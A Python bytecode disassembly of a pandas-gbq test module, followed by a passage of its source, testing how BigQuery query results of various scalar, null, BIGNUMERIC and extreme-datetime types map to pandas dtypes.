CALL_FUNCTION LOAD_CONST 'id' LOAD_CONST 'scalar-types-nonnull-normal-range' BUILD_MAP CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR param LOAD_NAME QueryTestCase LOAD_CONST "\nSELECT\n bools.row_num AS row_num,\n bool_col,\n bytes_col,\n date_col,\n datetime_col,\n float_col,\n int64_col,\n numeric_col,\n string_col,\n time_col,\n timestamp_col\nFROM\n UNNEST([\n STRUCT(1 AS row_num, TRUE AS bool_col),\n STRUCT(2 AS row_num, FALSE AS bool_col),\n STRUCT(3 AS row_num, NULL AS bool_col) ]) AS `bools`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, NULL AS bytes_col),\n STRUCT(2 AS row_num, CAST('F1AC' AS BYTES FORMAT 'HEX') AS bytes_col),\n STRUCT(3 AS row_num, CAST('' AS BYTES FORMAT 'HEX') AS bytes_co) ]) AS `bytes`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, DATE(1970, 1, 1) AS date_col),\n STRUCT(2 AS row_num, NULL AS date_col),\n STRUCT(3 AS row_num, DATE(2018, 4, 11) AS date_col) ]) AS `dates`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, DATETIME('1970-01-01 00:00:00.000000') AS datetime_col),\n STRUCT(2 AS row_num, DATETIME('2011-10-01 00:01:02.345678') AS datetime_col),\n STRUCT(3 AS row_num, NULL AS datetime_col) ]) AS `datetimes`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, NULL AS float_col),\n STRUCT(2 AS row_num, -2.375 AS float_col),\n STRUCT(3 AS row_num, 0.0 AS float_col) ]) AS `floats`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, -1 AS int64_col),\n STRUCT(2 AS row_num, NULL AS int64_col),\n STRUCT(3 AS row_num, 0 AS int64_col) ]) AS `int64s`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST('123.456789' AS NUMERIC) AS numeric_col),\n STRUCT(2 AS row_num, NULL AS numeric_col),\n STRUCT(3 AS row_num, CAST('999.999999' AS NUMERIC) AS numeric_col) ]) AS `numerics`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, '' AS string_col),\n STRUCT(2 AS row_num, 'こんにちは' AS string_col),\n STRUCT(3 AS row_num, NULL AS string_col) ]) AS `strings`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, NULL AS time_col),\n STRUCT(2 AS row_num, CAST('00:00:00.000000' AS TIME) AS time_col),\n STRUCT(3 AS row_num, CAST('23:59:59.999999' AS TIME) AS time_col) ]) AS `times`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, TIMESTAMP('1970-01-01 00:00:00.000000') AS timestamp_col),\n STRUCT(2 AS row_num, NULL AS timestamp_col),\n STRUCT(3 AS row_num, TIMESTAMP('2018-04-11 23:59:59.999999') AS timestamp_col) ]) AS `timestamps`\nWHERE\n `bools`.row_num = `dates`.row_num\n AND `bools`.row_num = `bytes`.row_num\n AND `bools`.row_num = `datetimes`.row_num\n AND `bools`.row_num = `floats`.row_num\n AND `bools`.row_num = `int64s`.row_num\n AND `bools`.row_num = `numerics`.row_num\n AND `bools`.row_num = `strings`.row_num\n AND `bools`.row_num = `times`.row_num\n AND `bools`.row_num = `timestamps`.row_num\nORDER BY row_num ASC\n " LOAD_NAME pandas LOAD_METHOD DataFrame LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 'Int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST True LOAD_CONST False LOAD_CONST None BUILD_LIST LOAD_NAME FEATURES LOAD_ATTR pandas_has_boolean_dtype EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'boolean' JUMP_FORWARD to 560 LOAD_CONST 'object' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_CONST None LOAD_NAME bytes LOAD_METHOD fromhex LOAD_CONST 'F1AC' CALL_METHOD LOAD_CONST b'' BUILD_LIST LOAD_NAME pandas LOAD_ATTR Series LOAD_NAME datetime LOAD_METHOD date LOAD_CONST 1970 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_CONST None LOAD_NAME datetime LOAD_METHOD date LOAD_CONST 2018 LOAD_CONST 4 LOAD_CONST 11 CALL_METHOD BUILD_LIST LOAD_NAME db_dtypes LOAD_METHOD DateDtype CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST '1970-01-01 00:00:00.000000' LOAD_CONST '2011-10-01 00:01:02.345678' LOAD_CONST None BUILD_LIST LOAD_CONST 'datetime64[ns]' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_CONST None LOAD_CONST -2.375 LOAD_CONST 0.0 BUILD_LIST LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST -1 LOAD_CONST None LOAD_CONST 0 BUILD_LIST LOAD_CONST 'Int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME decimal LOAD_METHOD Decimal LOAD_CONST '123.456789' CALL_METHOD LOAD_CONST None LOAD_NAME decimal LOAD_METHOD Decimal LOAD_CONST '999.999999' CALL_METHOD BUILD_LIST LOAD_CONST '' LOAD_CONST 'こんにちは' LOAD_CONST None BUILD_LIST LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST None LOAD_CONST '00:00:00' LOAD_CONST '23:59:59.999999' BUILD_LIST LOAD_NAME db_dtypes LOAD_METHOD TimeDtype CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST '1970-01-01 00:00:00.000000' LOAD_CONST None LOAD_CONST '2018-04-11 23:59:59.999999' BUILD_LIST LOAD_CONST 'datetime64[ns]' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_ATTR dt LOAD_METHOD tz_localize LOAD_NAME datetime LOAD_ATTR timezone LOAD_ATTR utc CALL_METHOD LOAD_CONST ('row_num', 'bool_col', 'bytes_col', 'date_col', 'datetime_col', 'float_col', 'int64_col', 'numeric_col', 'string_col', 'time_col', 'timestamp_col') BUILD_CONST_KEY_MAP CALL_METHOD LOAD_CONST ('query', 'expected') CALL_FUNCTION LOAD_CONST 'id' LOAD_CONST 'scalar-types-nullable-normal-range' BUILD_MAP CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR param LOAD_NAME QueryTestCase LOAD_CONST '\nSELECT\n bools.row_num AS row_num,\n bool_col,\n bytes_col,\n date_col,\n datetime_col,\n float_col,\n int64_col,\n numeric_col,\n string_col,\n time_col,\n timestamp_col\nFROM\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS BOOL) AS bool_col) ]) AS `bools`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS BYTES) AS bytes_col) ]) AS `bytes`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS DATE) AS date_col) ]) AS `dates`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS DATETIME) AS datetime_col) ]) AS `datetimes`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS FLOAT64) AS float_col) ]) AS `floats`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS INT64) AS int64_col) ]) AS `int64s`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS NUMERIC) AS numeric_col) ]) AS `numerics`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS STRING) AS string_col) ]) AS `strings`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS TIME) AS time_col) ]) AS `times`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS TIMESTAMP) AS timestamp_col) ]) AS `timestamps`\nWHERE\n `bools`.row_num = `dates`.row_num\n AND `bools`.row_num = `bytes`.row_num\n AND `bools`.row_num = `datetimes`.row_num\n AND `bools`.row_num = `floats`.row_num\n AND `bools`.row_num = `int64s`.row_num\n AND `bools`.row_num = `numerics`.row_num\n AND `bools`.row_num = `strings`.row_num\n AND `bools`.row_num = `times`.row_num\n AND `bools`.row_num = `timestamps`.row_num\nORDER BY row_num ASC\n ' LOAD_NAME pandas LOAD_METHOD DataFrame LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST 1 BUILD_LIST LOAD_CONST 'Int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST None BUILD_LIST LOAD_NAME FEATURES LOAD_ATTR pandas_has_boolean_dtype EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'boolean' JUMP_FORWARD to 810 LOAD_CONST 'object' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_CONST None BUILD_LIST LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST None BUILD_LIST LOAD_NAME db_dtypes LOAD_METHOD DateDtype CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST None BUILD_LIST LOAD_CONST 'datetime64[ns]' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST None BUILD_LIST LOAD_CONST 'float64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST None BUILD_LIST LOAD_CONST 'Int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_CONST None BUILD_LIST LOAD_CONST None BUILD_LIST LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST None BUILD_LIST LOAD_NAME db_dtypes LOAD_METHOD TimeDtype CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST None BUILD_LIST LOAD_CONST 'datetime64[ns]' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_ATTR dt LOAD_METHOD tz_localize LOAD_NAME datetime LOAD_ATTR timezone LOAD_ATTR utc CALL_METHOD LOAD_CONST ('row_num', 'bool_col', 'bytes_col', 'date_col', 'datetime_col', 'float_col', 'int64_col', 'numeric_col', 'string_col', 'time_col', 'timestamp_col') BUILD_CONST_KEY_MAP CALL_METHOD LOAD_CONST ('query', 'expected') CALL_FUNCTION LOAD_CONST 'id' LOAD_CONST 'scalar-types-null' BUILD_MAP CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR param LOAD_NAME QueryTestCase LOAD_CONST "\nSELECT\n bignumerics.row_num AS row_num,\n bignumeric_col,\n nullable_col,\n null_col\nFROM\n UNNEST([\n STRUCT(1 AS row_num, CAST('123456789.123456789' AS BIGNUMERIC) AS bignumeric_col),\n STRUCT(2 AS row_num, CAST('-123456789.123456789' AS BIGNUMERIC) AS bignumeric_col),\n STRUCT(3 AS row_num, CAST('987654321.987654321' AS BIGNUMERIC) AS bignumeric_col) ]) AS `bignumerics`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST('123456789.123456789' AS BIGNUMERIC) AS nullable_col),\n STRUCT(2 AS row_num, NULL AS nullable_col),\n STRUCT(3 AS row_num, CAST('987654321.987654321' AS BIGNUMERIC) AS nullable_col) ]) AS `nullables`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST(NULL AS BIGNUMERIC) AS null_col),\n STRUCT(2 AS row_num, CAST(NULL AS BIGNUMERIC) AS null_col),\n STRUCT(3 AS row_num, CAST(NULL AS BIGNUMERIC) AS null_col) ]) AS `nulls`\nWHERE\n `bignumerics`.row_num = `nullables`.row_num\n AND `bignumerics`.row_num = `nulls`.row_num\nORDER BY row_num ASC\n " LOAD_NAME pandas LOAD_METHOD DataFrame LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 'Int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME decimal LOAD_METHOD Decimal LOAD_CONST '123456789.123456789' CALL_METHOD LOAD_NAME decimal LOAD_METHOD Decimal LOAD_CONST '-123456789.123456789' CALL_METHOD LOAD_NAME decimal LOAD_METHOD Decimal LOAD_CONST '987654321.987654321' CALL_METHOD BUILD_LIST LOAD_NAME decimal LOAD_METHOD Decimal LOAD_CONST '123456789.123456789' CALL_METHOD LOAD_CONST None LOAD_NAME decimal LOAD_METHOD Decimal LOAD_CONST '987654321.987654321' CALL_METHOD BUILD_LIST LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_LIST LOAD_CONST ('row_num', 'bignumeric_col', 'nullable_col', 'null_col') BUILD_CONST_KEY_MAP CALL_METHOD LOAD_CONST ('query', 'expected') CALL_FUNCTION LOAD_CONST 'id' LOAD_CONST 'bignumeric-normal-range' BUILD_MAP CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR param LOAD_NAME QueryTestCase LOAD_CONST "\nSELECT\n dates.row_num AS row_num,\n date_col,\n datetime_col,\n timestamp_col\nFROM\n UNNEST([\n STRUCT(1 AS row_num, DATE(1, 1, 1) AS date_col),\n STRUCT(2 AS row_num, DATE(9999, 12, 31) AS date_col),\n STRUCT(3 AS row_num, DATE(2262, 4, 12) AS date_col) ]) AS `dates`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, DATETIME('0001-01-01 00:00:00.000000') AS datetime_col),\n STRUCT(2 AS row_num, DATETIME('9999-12-31 23:59:59.999999') AS datetime_col),\n STRUCT(3 AS row_num, DATETIME('2262-04-11 23:47:16.854776') AS datetime_col) ]) AS `datetimes`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, TIMESTAMP('0001-01-01 00:00:00.000000') AS timestamp_col),\n STRUCT(2 AS row_num, TIMESTAMP('9999-12-31 23:59:59.999999') AS timestamp_col),\n STRUCT(3 AS row_num, TIMESTAMP('2262-04-11 23:47:16.854776') AS timestamp_col) ]) AS `timestamps`\nWHERE\n `dates`.row_num = `datetimes`.row_num\n AND `dates`.row_num = `timestamps`.row_num\nORDER BY row_num ASC\n " LOAD_NAME pandas LOAD_METHOD DataFrame LOAD_NAME pandas LOAD_ATTR Series LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST LOAD_CONST 'Int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_NAME datetime LOAD_METHOD date LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_NAME datetime LOAD_METHOD date LOAD_CONST 9999 LOAD_CONST 12 LOAD_CONST 31 CALL_METHOD LOAD_NAME datetime LOAD_METHOD date LOAD_CONST 2262 LOAD_CONST 4 LOAD_CONST 12 CALL_METHOD BUILD_LIST LOAD_CONST 'object' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_NAME datetime LOAD_METHOD datetime LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 CALL_METHOD LOAD_NAME datetime LOAD_METHOD datetime LOAD_CONST 9999 LOAD_CONST 12 LOAD_CONST 31 LOAD_CONST 23 LOAD_CONST 59 LOAD_CONST 59 LOAD_CONST 999999 CALL_METHOD LOAD_NAME datetime LOAD_METHOD datetime LOAD_CONST 2262 LOAD_CONST 4 LOAD_CONST 11 LOAD_CONST 23 LOAD_CONST 47 LOAD_CONST 16 LOAD_CONST 854776 CALL_METHOD BUILD_LIST LOAD_CONST 'object' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_NAME pandas LOAD_ATTR Series LOAD_NAME datetime LOAD_ATTR datetime LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_NAME datetime LOAD_ATTR timezone LOAD_ATTR utc LOAD_CONST ('tzinfo',) CALL_FUNCTION LOAD_NAME datetime LOAD_ATTR datetime LOAD_CONST 9999 LOAD_CONST 12 LOAD_CONST 31 LOAD_CONST 23 LOAD_CONST 59 LOAD_CONST 59 LOAD_CONST 999999 LOAD_NAME datetime LOAD_ATTR timezone LOAD_ATTR utc LOAD_CONST ('tzinfo',) CALL_FUNCTION LOAD_NAME datetime LOAD_ATTR datetime LOAD_CONST 2262 LOAD_CONST 4 LOAD_CONST 11 LOAD_CONST 23 LOAD_CONST 47 LOAD_CONST 16 LOAD_CONST 854776 LOAD_NAME datetime LOAD_ATTR timezone LOAD_ATTR utc LOAD_CONST ('tzinfo',) CALL_FUNCTION BUILD_LIST LOAD_CONST 'object' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_CONST ('row_num', 'date_col', 'datetime_col', 'timestamp_col') BUILD_CONST_KEY_MAP CALL_METHOD LOAD_CONST True LOAD_CONST False BUILD_SET LOAD_CONST ('query', 'expected', 'use_bqstorage_apis') CALL_FUNCTION LOAD_CONST 'id' LOAD_CONST 'issue365-extreme-datetimes' BUILD_MAP CALL_FUNCTION BUILD_LIST CALL_METHOD LOAD_CONST <code object test_default_dtypes at 0x7fab8231be40, file "f.py", line 38> LOAD_CONST 'test_default_dtypes' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_default_dtypes LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'use_bqstorage_api' BUILD_LIST LOAD_CONST (True,) LOAD_CONST (False,) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_empty_dataframe at 0x7fab8231b6f0, file "f.py", line 554> LOAD_CONST 'test_empty_dataframe' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_empty_dataframe LOAD_NAME str LOAD_CONST ('writable_table',) BUILD_CONST_KEY_MAP LOAD_CONST <code object test_dml_query at 0x7faa5091d150, file "f.py", line 646> LOAD_CONST 'test_dml_query' MAKE_FUNCTION STORE_NAME test_dml_query LOAD_CONST None RETURN_VALUE LOAD_FAST project_id FORMAT_VALUE LOAD_CONST '.' LOAD_FAST random_dataset LOAD_ATTR dataset_id FORMAT_VALUE LOAD_CONST '.writable_table_' LOAD_GLOBAL random LOAD_METHOD randrange LOAD_CONST 1000000000 CALL_METHOD FORMAT_VALUE BUILD_STRING STORE_FAST full_table_id LOAD_GLOBAL bigquery LOAD_METHOD Table LOAD_FAST full_table_id CALL_METHOD STORE_FAST table LOAD_GLOBAL bigquery LOAD_METHOD SchemaField LOAD_CONST 'field1' LOAD_CONST 'STRING' CALL_METHOD LOAD_GLOBAL bigquery LOAD_METHOD SchemaField LOAD_CONST 'field2' LOAD_CONST 'INTEGER' CALL_METHOD BUILD_LIST LOAD_FAST table STORE_ATTR schema LOAD_FAST bigquery_client LOAD_METHOD create_table LOAD_FAST table CALL_METHOD POP_TOP LOAD_FAST full_table_id YIELD_VALUE POP_TOP LOAD_FAST bigquery_client LOAD_METHOD delete_table LOAD_FAST full_table_id CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST use_bqstorage_api LOAD_FAST use_bqstorage_apis COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD skip LOAD_CONST 'use_bqstorage_api=' LOAD_FAST use_bqstorage_api FORMAT_VALUE LOAD_CONST ' not supported.' BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST read_gbq LOAD_FAST query LOAD_FAST use_bqstorage_api LOAD_CONST 'query' LOAD_CONST 'useQueryCache' LOAD_CONST False BUILD_MAP BUILD_MAP LOAD_CONST ('use_bqstorage_api', 'configuration') CALL_FUNCTION STORE_FAST result LOAD_GLOBAL pandas LOAD_ATTR testing LOAD_METHOD assert_frame_equal LOAD_FAST result LOAD_FAST expected CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST "\nSELECT\n bools.row_num AS row_num,\n bool_col,\n bytes_col,\n date_col,\n datetime_col,\n float_col,\n int64_col,\n numeric_col,\n string_col,\n time_col,\n timestamp_col\nFROM\n UNNEST([\n STRUCT(1 AS row_num, TRUE AS bool_col) ]) AS `bools`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST('F1AC' AS BYTES FORMAT 'HEX') AS bytes_col) ]) AS `bytes`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, DATE(2018, 4, 11) AS date_col) ]) AS `dates`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, DATETIME('2011-10-01 00:01:02.345678') AS datetime_col) ]) AS `datetimes`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, -2.375 AS float_col) ]) AS `floats`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, 1234 AS int64_col) ]) AS `int64s`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST('123.456789' AS NUMERIC) AS numeric_col) ]) AS `numerics`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, 'abcdefghijklmnopqrstuvwxyz' AS string_col) ]) AS `strings`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, CAST('09:08:07.654321' AS TIME) AS time_col) ]) AS `times`\nINNER JOIN\n UNNEST([\n STRUCT(1 AS row_num, TIMESTAMP('1998-09-04 12:34:56.789101') AS timestamp_col) ]) AS `timestamps`\nWHERE\n `bools`.row_num = `dates`.row_num\n AND `bools`.row_num = `bytes`.row_num\n AND `bools`.row_num = `datetimes`.row_num\n AND `bools`.row_num = `floats`.row_num\n AND `bools`.row_num = `int64s`.row_num\n AND `bools`.row_num = `numerics`.row_num\n AND `bools`.row_num = `strings`.row_num\n AND `bools`.row_num = `times`.row_num\n AND `bools`.row_num = `timestamps`.row_num\n AND `bools`.row_num = -1\nORDER BY row_num ASC\n " STORE_FAST query LOAD_GLOBAL pandas LOAD_METHOD DataFrame LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_CONST 'Int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_GLOBAL FEATURES LOAD_ATTR pandas_has_boolean_dtype POP_JUMP_IF_FALSE LOAD_CONST 'boolean' JUMP_FORWARD to 38 LOAD_CONST 'bool' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_CONST 'object' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_GLOBAL db_dtypes LOAD_METHOD DateDtype CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_CONST 'datetime64[ns]' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_CONST 'float64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_CONST 'Int64' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_CONST 'object' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_CONST 'object' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_GLOBAL db_dtypes LOAD_METHOD TimeDtype CALL_METHOD LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL pandas LOAD_ATTR Series BUILD_LIST LOAD_CONST 'datetime64[ns]' LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_ATTR dt LOAD_METHOD tz_localize LOAD_GLOBAL datetime LOAD_ATTR timezone LOAD_ATTR utc CALL_METHOD LOAD_CONST ('row_num', 'bool_col', 'bytes_col', 'date_col', 'datetime_col', 'float_col', 'int64_col', 'numeric_col', 'string_col', 'time_col', 'timestamp_col') BUILD_CONST_KEY_MAP CALL_METHOD STORE_FAST expected LOAD_FAST read_gbq LOAD_FAST query LOAD_FAST use_bqstorage_api LOAD_CONST ('use_bqstorage_api',) CALL_FUNCTION STORE_FAST result LOAD_GLOBAL pandas LOAD_ATTR testing LOAD_ATTR assert_frame_equal LOAD_FAST result LOAD_FAST expected LOAD_CONST False LOAD_CONST ('check_index_type',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '\n UPDATE `' LOAD_FAST writable_table FORMAT_VALUE LOAD_CONST "`\n SET field1 = NULL\n WHERE field1 = 'string';\n UPDATE `" LOAD_FAST writable_table FORMAT_VALUE LOAD_CONST '`\n SET field2 = NULL\n WHERE field2 < 0;\n ' BUILD_STRING STORE_FAST query LOAD_FAST read_gbq LOAD_FAST query CALL_FUNCTION STORE_FAST result LOAD_FAST result LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
import collections import datetime import decimal import packaging.version import random import db_dtypes from google.cloud import bigquery import pandas import pandas.testing import pytest from pandas_gbq.features import FEATURES QueryTestCase = collections.namedtuple( "QueryTestCase", ["query", "expected", "use_bqstorage_apis"], defaults=[None, None, {True, False}], ) @pytest.fixture def writable_table( bigquery_client: bigquery.Client, project_id: str, random_dataset: bigquery.Dataset ): full_table_id = f"{project_id}.{random_dataset.dataset_id}.writable_table_{random.randrange(1_000_000_000)}" table = bigquery.Table(full_table_id) table.schema = [ bigquery.SchemaField("field1", "STRING"), bigquery.SchemaField("field2", "INTEGER"), ] bigquery_client.create_table(table) yield full_table_id bigquery_client.delete_table(full_table_id) @pytest.mark.skipif( packaging.version.parse(pandas.__version__).release >= (2, 0), reason="" ) @pytest.mark.parametrize(["use_bqstorage_api"], [(True,), (False,)]) @pytest.mark.parametrize( ["query", "expected", "use_bqstorage_apis"], [ pytest.param( *QueryTestCase( query=""" SELECT bools.row_num AS row_num, bool_col, bytes_col, date_col, datetime_col, float_col, int64_col, numeric_col, string_col, time_col, timestamp_col FROM UNNEST([ STRUCT(1 AS row_num, TRUE AS bool_col), STRUCT(2 AS row_num, FALSE AS bool_col), STRUCT(3 AS row_num, TRUE AS bool_col) ]) AS `bools` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST('C00010FF' AS BYTES FORMAT 'HEX') AS bytes_col), STRUCT(2 AS row_num, CAST('F1AC' AS BYTES FORMAT 'HEX') AS bytes_col), STRUCT(3 AS row_num, CAST('FFBADD11' AS BYTES FORMAT 'HEX') AS bytes_co) ]) AS `bytes` INNER JOIN UNNEST([ STRUCT(1 AS row_num, DATE(1998, 9, 4) AS date_col), STRUCT(2 AS row_num, DATE(2011, 10, 1) AS date_col), STRUCT(3 AS row_num, DATE(2018, 4, 11) AS date_col) ]) AS `dates` INNER JOIN UNNEST([ STRUCT(1 AS row_num, DATETIME('1998-09-04 12:34:56.789101') AS datetime_col), STRUCT(2 AS row_num, DATETIME('2011-10-01 00:01:02.345678') AS datetime_col), STRUCT(3 AS row_num, DATETIME('2018-04-11 23:59:59.999999') AS datetime_col) ]) AS `datetimes` INNER JOIN UNNEST([ STRUCT(1 AS row_num, 1.125 AS float_col), STRUCT(2 AS row_num, -2.375 AS float_col), STRUCT(3 AS row_num, 0.0 AS float_col) ]) AS `floats` INNER JOIN UNNEST([ -- 2 ^ 63 - 1, but in hex to avoid intermediate overlfow. STRUCT(1 AS row_num, 0x7fffffffffffffff AS int64_col), STRUCT(2 AS row_num, -1 AS in64_col), -- -2 ^ 63, but in hex to avoid intermediate overlfow. STRUCT(3 AS row_num, -0x8000000000000000 AS int64_col) ]) AS `ints` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST('123.456789' AS NUMERIC) AS numeric_col), STRUCT(2 AS row_num, CAST('-123.456789' AS NUMERIC) AS numeric_col), STRUCT(3 AS row_num, CAST('999.999999' AS NUMERIC) AS numeric_col) ]) AS `numerics` INNER JOIN UNNEST([ STRUCT(1 AS row_num, 'abcdefghijklmnopqrstuvwxyz' AS string_col), STRUCT(2 AS row_num, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' AS string_col), STRUCT(3 AS row_num, 'こんにちは' AS string_col) ]) AS `strings` INNER JOIN UNNEST([ STRUCT(1 AS row_num, CAST('00:00:00.000000' AS TIME) AS time_col), STRUCT(2 AS row_num, CAST('09:08:07.654321' AS TIME) AS time_col), STRUCT(3 AS row_num, CAST('23:59:59.999999' AS TIME) AS time_col) ]) AS `times` INNER JOIN UNNEST([ STRUCT(1 AS row_num, TIMESTAMP('1998-09-04 12:34:56.789101') AS timestamp_col), STRUCT(2 AS row_num, TIMESTAMP('2011-10-01 00:01:02.345678') AS timestamp_col), STRUCT(3 AS row_num, TIMESTAMP('2018-04-11 23:59:59.999999') AS timestamp_col) ]) AS `timestamps` WHERE `bools`.row_num = `dates`.row_num AND `bools`.row_num = `bytes`.row_num AND `bools`.row_num = `datetimes`.row_num AND `bools`.row_num = `floats`.row_num AND `bools`.row_num = `ints`.row_num AND `bools`.row_num = `numerics`.row_num AND `bools`.row_num = `strings`.row_num AND `bools`.row_num = `times`.row_num AND `bools`.row_num = `timestamps`.row_num ORDER BY row_num ASC """, expected=pandas.DataFrame( { "row_num": pandas.Series([1, 2, 3], dtype="Int64"), "bool_col": pandas.Series( [True, False, True], dtype=( "boolean" if FEATURES.pandas_has_boolean_dtype else "bool" ), ), "bytes_col": [ bytes.fromhex("C00010FF"), bytes.fromhex("F1AC"), bytes.fromhex("FFBADD11"), ], "date_col": pandas.Series( [ 